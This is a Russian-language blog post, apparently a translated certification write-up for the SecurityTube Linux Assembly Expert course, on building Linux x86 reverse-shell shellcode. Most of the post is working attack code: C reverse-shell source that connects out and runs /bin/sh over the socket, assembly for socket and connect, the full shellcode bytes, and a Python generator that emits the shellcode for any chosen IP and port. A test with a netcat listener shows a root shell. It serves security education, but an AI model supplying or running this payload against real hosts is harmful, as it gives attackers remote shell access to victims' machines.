Всем привет
В предыдущей статье я объяснил, как создать программу оболочки связывания на ассемблере.
Теперь я хотел бы попробовать создать двоичный файл обратной оболочки с помощью сборки. Концепция буквально такая же (даже проще по сравнению с предыдущей). Мы создадим соединение между клиентом и сервером, и клиентская сторона перенаправит весь ввод-вывод из / bin / sh в сокет.
Теперь позвольте мне использовать этот код C в качестве отправной точки для создания шелл-кода сборки, взятого из (https://gist.githubusercontent.com/0xabe-io/916cf3af33d1c0592a90/raw/eaa527fc66ddde5a8a4a95c02e86bf6f7e96982e/reverse
/* credits to http://blog.techorganic.com/2015/01/04/pegasus-hacking-challenge/ */
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#define REMOTE_ADDR "127.1.1.1"
#define REMOTE_PORT 55555
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
sa.sin_family = AF_INET;
sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
sa.sin_port = htons(REMOTE_PORT);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}
Сейчас я использую REMOTE_ADDR как localhost (127.1.1.1) и REMOTE_PORT как 55555
Вы можете скомпилировать это и запустить с прослушивателем netcat

Создать дескриптор сокета
Взгляните на этот код
s = socket(AF_INET, SOCK_STREAM, 0);
На первом этапе создадим дескриптор сокета. Этот код в сборке имеет такую структуру
eax <- 0x66 (SYS_SOCKET call) ebx <- 0x1 (SYS_CREATE) ecx <- Stack reference to these parameters (AF_INET, SOCK_STREAM, 0)
Сначала мы назначаем параметр регистрам eax и ebx
push 0x66 pop eax push 0x1 pop ebx
Теперь у нас есть другая техника для назначения параметров eax и ebx. Как вы можете сравнить с предыдущей статьей, мы больше не инициализируем регистры в первую очередь.
Это улучшение, о котором я говорю, мы используем технику стека PUSH-POP для назначения регистров.
Теперь мы собираемся собрать стек для регистра ecx. Структура стека будет такой
AF_INET (value: 2) SOCK_STREAM (value: 1) 0
Помните, что стек использует метод LIFO, поэтому нам нужно поместить каждое значение в обратном порядке.
xor edx, edx ;; getting 0 on edx push edx ;; 0 (param 3 for socket) push ebx ;; 1 (param 2, SOCK_STREAM) push 0x2 ;; 2 (param 1, AF_INET) mov ecx, esp ;; move all of them to ecx
Не забудьте переместить ссылку стека в регистр ecx. Затем поместите прерывание для вызова системного вызова сокета
int 0x80
Подключиться к серверу
Проверьте этот фрагмент кода
sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr(REMOTE_ADDR); sa.sin_port = htons(REMOTE_PORT); connect(s, (struct sockaddr *)&sa, sizeof(sa));
Для функции connect () мы установим регистры eax и ebx.
eax <- 0x66 (SYS_SOCKET call) ebx <- 0x3 (SYS_CONNECT function)
Затем нам нужно создать регистр ecx, который будет иметь такой стек
(s, (struct sockaddr *)&sa, sizeof(sa));
Итак, в стеке должно быть вот такое
s (value: socket_descriptor in eax on prev call)
sa ->
AF_INET (value: 2)
REMOTE_ADDR (value: 0x0101017f (127.1.1.1 in reversed order))
REMOTE_PORT (value: 0x03d9 (55555 in hex reversed order))
sizeof(sa) (value: 16)
Как вы понимаете, сначала мы начнем с переменной sa. Затем переместите ссылку на стек в ecx.
push 0x0101017f ;;IP Number "127.1.1.1" in hex reverse order push word 0x03d9 ;;Port Number 55555 in hex reverse order push word 0x2 ;;for AF_INET mov ecx, esp ;;save the structure to ecx
Затем мы переходим к параметру подключения. Не забывайте, что переменная s - это socket_descriptor, который возвращается в регистре eax.
Итак, теперь это структура стека, прежде чем мы передадим ее в функцию connect () в качестве параметра.
s (value: socket_descriptor in eax on prev call) ecx (value: see above) sizeof(sa) (value:16)
Сейчас в сборке
;;creating parameter for connect() push 0x10 ;;sizeof (structure) push ecx ;;socket structure above (sa variable) push eax ;;socket descriptor that returned from above mov ecx, esp ;;save the structure to ecx for connect() parameter
Не забудьте установить регистры eax и ebx, я объяснил это выше. Затем вызовите функцию с прерыванием
;;calling connect() mov al, 0x66 ;;for SYSCALL_SOCKET 0x66 mov bl, 0x3 ;;SYS_CONNECT 0x3 int 0x80 ;;everything set, call connect()
Перенаправить ввод-вывод в сокет с помощью dup2 ()
Я считаю эту подтему дубликатом предыдущей статьи. Советуем вам перечитать эту статью: https://medium.com/@habibiefaried/slae-0x1-creating-linux-x86-bind-shellcode-with-assembly-5aee2b7b7b5d
Вызов execve
Я считаю эту подтему дубликатом предыдущей статьи. Советуем вам перечитать эту статью: https://medium.com/@habibiefaried/slae-0x1-creating-linux-x86-bind-shellcode-with-assembly-5aee2b7b7b5d
Попробуйте шеллкод
Я считаю эту подтему дубликатом предыдущей статьи. Советуем вам перечитать эту статью: https://medium.com/@habibiefaried/slae-0x1-creating-linux-x86-bind-shellcode-with-assembly-5aee2b7b7b5d
Дамп шеллкода
Прежде чем мы продолжим, это мой полный исходный код, связанный с этой статьей: https://raw.githubusercontent.com/habibiefaried/SLAE/master/2-RevShell.nasm
Скомпилируйте шелл-код с помощью nasm и выгрузите его двоичный файл с помощью commandline-fu
$objdump -d ./2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
Это результат
\x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x68\x7f\x01\x01\x01\x66\x68\xd9\x03\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80
Поместите это в генератор шелл-кода позже
Генератор шелл-кода
В качестве требования SLAE указано, что этот шелл-код должен легко генерироваться с настраиваемым портом и IP-адресом. Итак, я создаю этот скрипт на Python
import sys
import struct
if (len(sys.argv) < 3):
print "IP and Port required"
else:
IP_ADDR = sys.argv[1].split(".")
PORT = sys.argv[2]
ipaddr_hex = "\\x"+struct.pack('<L',int(IP_ADDR[0])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(IP_ADDR[1])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(IP_ADDR[2])).encode('hex')[:2]+"\\x"+struct.pack('<L',int(IP_ADDR[3])).encode('hex')[:2]
port_hex = "\\x"+struct.pack('<L',int(PORT)).encode('hex')[2:4]+"\\x"+struct.pack('<L',int(PORT)).encode('hex')[:2]
print "\\x6a\\x66\\x58\\x6a\\x01\\x5b\\x31\\xd2\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x68"+ipaddr_hex+"\\x66\\x68"+port_hex+"\\x66\\x6a\\x02\\x89\\xe1\\x6a\\x10\\x51\\x50\\x89\\xe1\\xb0\\x66\\xb3\\x03\\xcd\\x80\\x31\\xc9\\xb0\\x3f\\xcd\\x80\\x41\\xb0\\x3f\\xcd\\x80\\x41\\xb0\\x3f\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xd1\\xcd\\x80"
И последнее, тестирование шеллкода.
Сгенерируйте шелл-код с помощью приведенного выше сценария и поместите его в наш тестер шелл-кода c. В этом примере я буду использовать localhost с портом 44444.
# python SLAE/RevShellGenerator.py 127.1.1.2 44444 \x6a\x66\x58\x6a\x01\x5b\x31\xd2\x52\x53\x6a\x02\x89\xe1\xcd\x80\x68\x7f\x01\x01\x02\x66\x68\xad\x9c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb0\x66\xb3\x03\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xd1\xcd\x80
Затем поместите его в shellcode.c, это скелет
#include<stdio.h>
#include<string.h>
unsigned char code[] = \
"PUT SHELLCODE HERE";
main()
{
printf("Shellcode Length: %d\n", strlen(code));
int (*ret)() = (int(*)())code;
ret();
}
Не забудьте сначала прослушать netcat. Затем запустите шеллкод
# nc -lvp 44444 listening on [any] 44444 ... connect to [127.1.1.2] from localhost [127.0.0.1] 56188 id uid=0(root) gid=0(root) groups=0(root) ls 1 1.nasm
Примечания
Создать обратную оболочку намного проще, чем привязать оболочку. Это потому, что вам нужно использовать только 1 функцию (соединение) по сравнению с оболочкой привязки. А также я уже представил технику PUSH-POP для перемещения значения в регистры.
Может быть, вам интересно, почему я использую технику PUSH-POP вместо простого хода с начальным значением. Я оставляю этот вопрос для вас в качестве домашнего задания: D. Так что вы можете попробовать сами и увидеть разницу.
Спасибо за чтение! :)
Наилучшие пожелания,
Хабиби Фарид
[email protected]
@habibiefaried
Это сообщение в блоге было создано для выполнения требований сертификации SecurityTube Linux Assembly Expert:
Http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Студенческий билет: SLAE-1156